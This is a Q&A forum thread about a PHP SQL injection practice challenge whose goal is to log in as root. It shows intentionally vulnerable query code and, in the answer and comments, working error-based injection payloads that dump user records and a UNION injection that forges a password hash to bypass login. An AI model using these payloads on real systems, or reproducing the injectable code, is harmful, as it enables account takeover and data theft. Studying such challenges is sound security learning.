4

I've been practicing security-related subjects and this challenge has befuddled me. Note: I can't access any PHP source code, nor can I edit it. I'm only able to view it.

The following is given:

  1. I have two inputs, "user" and "pass"
  2. After 30 times the form is sent, the salt, the hashes and the final solution change. So bruteforce isn't an option (sadly!)
  3. @The bottom of the page (not shown in the code for some reason), it echos that it found 9 users (calling the getnumberofusers() function)

I've managed to extract this:

username = root

hashed password = 551e18b35e17017742a8ce4ed27f626e

Token (possibly salt?) = 0St31ez14wOT6jTh

What I've attempted thus far with unsuccessful results:

  • Using SQL injection, select a known MD5 collision as password and send its counterpart as "pass", however the salt is bothering this process. Clearly I couldn't bruteforce this because after 30 attempts the salt would change.
    • I tried finding the entire list of users but it doesn't print the output anywhere (only errors)

This is the code we receive:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM `sqlinjection1`";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT `id`, `password` FROM `sqlinjection1` WHERE `username`='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM `sqlinjection1` WHERE `id`=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

Any help is appreciated, and if you have any questions I'd love to clarify my question!

  • @grc Yeah, I was able to find the SQL version (>5). Is there any info you need to be dumped? – Tom Jun 13 '16 at 8:24
  • @grc Couldn't figure out how to do that. What's the query that will do that? – Tom Jun 13 '16 at 8:45
  • You could try the error-based methods here or here. They won't help you with the salt though. – grc Jun 13 '16 at 8:51
  • 1
    @Tom try to read the welcomemessage column. It may have something useful – Sravan Jun 13 '16 at 9:30
  • @Sravan You're right! Post this as an answer and I'll mark it as correct haha thanks – Tom Jun 13 '16 at 9:32
2

From source code we can see that sqlinjection1 has four known columns username,password,welcomemessage,id.

As people pointed in commnets,We can use error based Sql injection to get the usernames,passwords,welcomemessage,id etc.

Post below parameters in sqli

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a)) or '1'='1

$pass=something

The error printed is

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

So username=user1,password=pass1,welcomemessage=secret message and id=1

Now we can get list of next user using

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a)) or '1'='1

$pass=something

Similarly for other users change the where clause and execute..

We can select single column for a single user as well simply using

$user=1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a)) or '1'='1

  • Awesome. Now I have this. Token = 0St31ez14wOT6jTh, Password = 551e18b35e17017742a8ce4ed27f626e. Is it possible to find the password? – Tom Jun 13 '16 at 9:58
  • @Tom Since the token is random, we can do a dictionary attack. I guess a attack using some worst 1000-5000 passwords on internet will do the job – Sravan Jun 13 '16 at 10:02
  • 1
    I was thinking about selecting its hashed version using SQL injection. I'll try it and let you know. – Tom Jun 13 '16 at 10:03
  • 1
    @Tom, You are damn right. We dont need to crack the hash, We can set the hash using sql injection :) – Sravan Jun 13 '16 at 10:06
  • @Tom Taking the above token as hash confirmpassword('mypass') generates 722430d39a07e7b218a368c06c665fb9 . So inject username=nonexist' UNION Select id,'722430d39a07e7b218a368c06c665fb9' from sqlinjection1 where username='root&pass=mypass – Sravan Jun 13 '16 at 10:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.